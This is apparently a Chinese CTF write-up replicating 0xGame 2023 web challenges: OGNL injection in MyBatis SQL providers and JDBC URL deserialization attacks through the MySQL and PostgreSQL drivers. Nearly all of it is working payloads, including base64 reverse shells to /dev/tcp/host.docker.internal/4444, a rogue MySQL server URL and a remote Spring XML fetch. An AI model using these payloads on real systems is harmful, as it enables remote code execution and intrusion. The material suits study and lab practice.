  • Mybatis 全版本

或者

  • mybatis-plus-boot-starter >=3.1.1

漏洞复现

mybatis中存在某个SelectProvider

  public String findTeacherByName(Map<String, Object> map) {
        String name = (String) map.get("name");
        String s = new SQL() {
            {
                SELECT(returnSql);
                FROM("Teacher");
                WHERE("name=" + name);
            }
        }.toString();
        return s;
    }
}
@RequestMapping("selectUserByName")
public Teacher getUserOne(String id,String name){

    Teacher tea=new Teacher();
    tea.setId(id);
    tea.setName(name);
    Teacher teacher=userService.findTeacherByName(tea);
    return teacher;

}

http://localhost:8080/selectUserByName?id=7&name=%24%7B@java.lang.Runtime@getRuntime().exec("calc")%7D

//${@java.lang.Runtime@getRuntime().exec("calc")}

java环境大于等于jdk9的通杀payload

${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}

题目

package com.example.yourbatis.provider;

import org.apache.ibatis.jdbc.SQL;

public class UserSqlProvider {
    public UserSqlProvider() {
    }

    public String buildGetUsers() {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
            }
        }).toString();
    }

    public String buildGetUserByUsername(final String username) {
        return (new SQL() {
            {
                this.SELECT("*");
                this.FROM("users");
                this.WHERE(String.format("username = '%s'", username));
            }
        }).toString();
    }
}
${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")}

但是很显然是会失败的, 因为传入的命令包含了 {}, 会被递归解析为另一个 OGNL 表达式的开头和结尾

这个点可能比较难, 所以后面给出了 hint

解决方案是只要不出现大括号就行, 方法很多, 这里给出一种, 利用 OGNL 调用 Java 自身的 base64 decode 方法

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TVRndU9Ea3VOakV1TnpFdk56YzNOeUF3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

image-20231122224919226

TestConnect

怎么说呢,一直听说jdbc,但现在还是感到无力

JDBC 就是 Java 用于操作数据库的接口, 通过一个统一规范的 JDBC 接口可以实现同一段代码兼容不同类型数据库的访问

JDBC URL 就是用于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value

db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite

db-name 是要使用的数据库名

param 是要传入的参数, 比如 user, password, 指定连接时使用的编码类型等等

当 jdbc url 可控时, 如果目标网站使用了旧版的数据库驱动, 在特定情况下就可以实现 RCE

参考文章:

https://tttang.com/archive/1877/

https://xz.aliyun.com/t/11812

https://forum.butian.net/share/1339

pom.xml

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.11</version>
    <scope>runtime</scope>
</dependency>

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.1</version>
    <scope>runtime</scope>
</dependency>
</dependencies>

给了两个依赖, mysql 和 postgresql, 对应两种利用方式

然后还有 commons-collections 依赖, 这个主要是方便大家在后面用 ysoserial 工具去生成反序列化 payload

首先是 mysql 驱动的利用

结合网上文章可以构造对应的 jdbc url

jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

首先得注意, 因为题目给的代码是 DriverManager.getConnection(url, username, password);, 即会单独传入一个 username 参数, 因此 url 中的 username 会被后面的 username 给覆盖

网上的部分利用工具会通过 username 来区分不同的 payload, 所以得注意 username 要单独传, 不然写在 url 里面就被覆盖了

其次, 因为 jdbc url 本身也符合 url 的规范, 所以在传 url 参数的时候, 需要把 url 本身全部进行 url 编码, 防止服务器错把 autoDeserialize, queryInterceptors 这些参数当成是一个 http get 参数, 而不是 jdbc url 里面的参数

最后依然是 Runtime.exec 命令编码的问题

一些 mysql jdbc 利用工具

https://github.com/4ra1n/mysql-fake-server

https://github.com/rmb122/rogue_mysql_server

payload

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://host.docker.internal:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}&password=123

url 编码

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=%6a%64%62%63%3a%6d%79%73%71%6c%3a%2f%2f%68%6f%73%74%2e%64%6f%63%6b%65%72%2e%69%6e%74%65%72%6e%61%6c%3a%33%33%30%38%2f%74%65%73%74%3f%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65%3d%74%72%75%65%26%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73%3d%63%6f%6d%2e%6d%79%73%71%6c%2e%63%6a%2e%6a%64%62%63%2e%69%6e%74%65%72%63%65%70%74%6f%72%73%2e%53%65%72%76%65%72%53%74%61%74%75%73%44%69%66%66%49%6e%74%65%72%63%65%70%74%6f%72&username=%64%65%73%65%72%5f%43%43%33%31%5f%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%39%6f%62%33%4e%30%4c%6d%52%76%59%32%74%6c%63%69%35%70%62%6e%52%6c%63%6d%35%68%62%43%38%30%4e%44%51%30%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d&password=123

image-20231123154925022

postgresql 驱动

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

payload

/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123

url 编码

/testConnection?driver=org.postgresql.Driver&url=%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%35%34%33%32%2f%74%65%73%74%3f%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%3d%6f%72%67%2e%73%70%72%69%6e%67%66%72%61%6d%65%77%6f%72%6b%2e%63%6f%6e%74%65%78%74%2e%73%75%70%70%6f%72%74%2e%43%6c%61%73%73%50%61%74%68%58%6d%6c%41%70%70%6c%69%63%61%74%69%6f%6e%43%6f%6e%74%65%78%74%26%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%41%72%67%3d%68%74%74%70%3a%2f%2f%68%6f%73%74%2e%64%6f%63%6b%65%72%2e%69%6e%74%65%72%6e%61%6c%3a%38%30%30%30%2f%70%6f%63%2e%78%6d%6c&username=123&password=123

image-20231123000646246

总结一下这两个方法

使用mysql的话注意 username 要单独传payload,

两个方法都要注意的是,url的参数要全部进行url编码(注意是全部,每个字符都要), 防止服务器错把 autoDeserialize, queryInterceptors 这些参数当成是一个 http get 参数, 而不是 jdbc url 里面的参数

三篇参考文章还是非常推荐的,只不过我就大概看下结果吧,过程有点看不下去了

总结

第二周开始就考的是对应知识点中较难的考点了,以前都没机会遇到

第三周对于我来说已经接近小型比赛的题目难度了(其实就是很模糊,有点感觉但做不出来)

第四周的java题没有考gadget,就是考各个的一些特性,然后后面两题就是考了依赖的漏洞,难度肯定是比考gadget要简单的,但确实不会,不一定搜的出来,难说啊,get不到考点

Reference

https://exp10it.cn/2023/11/0xgame-2023-web-official-writeup/


0xGAME-WEB 复现
https://zer0peach.github.io/2023/11/21/0xGAME-WEB-复现/
作者
Zer0peach
发布于
2023年11月21日
许可协议